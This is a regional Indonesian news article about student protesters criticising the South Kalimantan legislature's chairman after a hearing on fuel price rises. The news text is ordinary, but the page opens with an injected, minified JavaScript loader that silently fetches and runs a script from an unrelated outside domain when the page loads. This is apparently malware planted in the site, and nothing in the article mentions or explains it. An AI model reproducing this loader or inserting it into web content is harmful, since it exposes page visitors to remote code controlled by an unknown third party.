(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN– Massa aksi dari aliansi BEM se-Kalsel mengkritisi posisi Ketua DPRD Kalsel Supian HK saat Rapat Dengar Pendapat pada Selasa (13/9/2022) lalu yang hanya sebatas moderator.
Hal tersebut disampaikan Yogi Ilmawan, Koordinator Lapangan Aksi dan Ardhi Faddakiri, Ketua BEM Universitas Lambung Mangkurat (ULM) saat aksi unjuk rasa, Kamis (15/9/2022).
Dikatakan Yogi, ia menggangap agenda RDP itu hanyalah formalitas belaka karena ingin meredam massa aksi.
“Untuk masalah RDP kami anggap itu hanya sebuah formalitas yang kiranya untuk meredam para massa aksi yang ingin masuk ke kantor DPRD Kalsel,” ujar Yogi.
Baca juga : Massa BEM Kalsel Kecewa, Ketua DPRD Tak Nongol Temui Pendemo!
Lanjut Yogi, sebenarnya saat gelaran RDP kemarin meski dihadiri Ketua DPRD Kalsel namun yang bersangkutan tidak paham akan bagaimana dinamika keresahan yang disampaikan masyarakat.
“Dia memposisikan dirinya hanya sebagai moderator tidak sebagai orang yang memang paham betul bagaimana dinamika rakyatnya sekarang dan bagaimana keresahan yang dirasakan masyarakat,” sambungnya.
Sementara itu, Ardhi menjelaskan terkait tuntutan atas penolakan harga Bahan Bakar Minyak (BBM) sudah konkrit dengan disampaikan dalam RDP. Namun pihaknya tidak ingin tuntutan tersebut hanya sekedar dikirimkan bak kantor pos.
“Apakah DPRD Kalsel kembali berlaga seperti kantor pos cuman mengantarkan, yang kami mau mereka memposisikan diri sebagai lembaga untuk betul betul memperjuangkan apa yang menjadi keresahan,” sebut Ardhi.
Baca juga : Polisi Tangkap Pria Pelaku Judi Togel di Sungai Tiung
Massa aksi pun juga menumpahkan kekecewaannya terhadap dewan wakil rakyat yang mangkir dari panggilan.
Adapun mereka membawa dua point tuntutan, yakni pertama menagih hasil dari pada Rapat Dengar Pendapat (RDP) yang sudah diagendakan kemarin untuk disampaikan ke pusat.
Kedua, ujar Ardhi massa aksi minta sikap tegas dari dewan untuk berdebat dengan massa akan pelanggaran-pelanggaran HAM yang sudah terjadi baik itu skala nasional maupun daerah.
Pihaknya mengakui tupoksi kelembagaan DPRD Kalsel yang salah satunya ada yang mengatur dan menangani hukum HAM dan keamanan.
Baca juga : Aksi Kamisan di Banjarbaru, Soroti Pelanggaran HAM Berat Tak Terselesaikan
“Cuman lagi lagi yang sangat kami sayangkan bahwa pihak DPRD mengakui bahwa mereka tidak pernah ada bahasan bahkan tidak punya kapasitas untuk berdebat dengan mahasiswa,” katanya.
Diketahui dalam dalam aksi, massa berkumpul, melakukan orasi, hingga theatrikal dengan mengusung tema September Hitam bersama dengan Aksi Kamisan Kalsel.
Sebelumnya, pada akhir rapat diambil keputusan bahwa akan dibuat surat pernyataan yang dibuat oleh DPRD Kalsel yang berisi penolakan kenaikan BBM yang telah dihimpun dari aspirasi mahasiswa, ormas, dan masyarakat untuk disampaikan ke pemerintah pusat.
“Kesepakatan kami menolak BBM naik berdasarkan aspirasi masyarakat, Kami (DPRD) hanya memfasilitasi untuk mengirimkan surat sedangkan kebijakannya ada di pusat, tapi kami akan terus mengawal surat tuntutan itu,” kata Supian HK.
“Komisi 3 dan komisi 2 yang akan mengantarkan suratnya besok ke pusat,” tambahnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.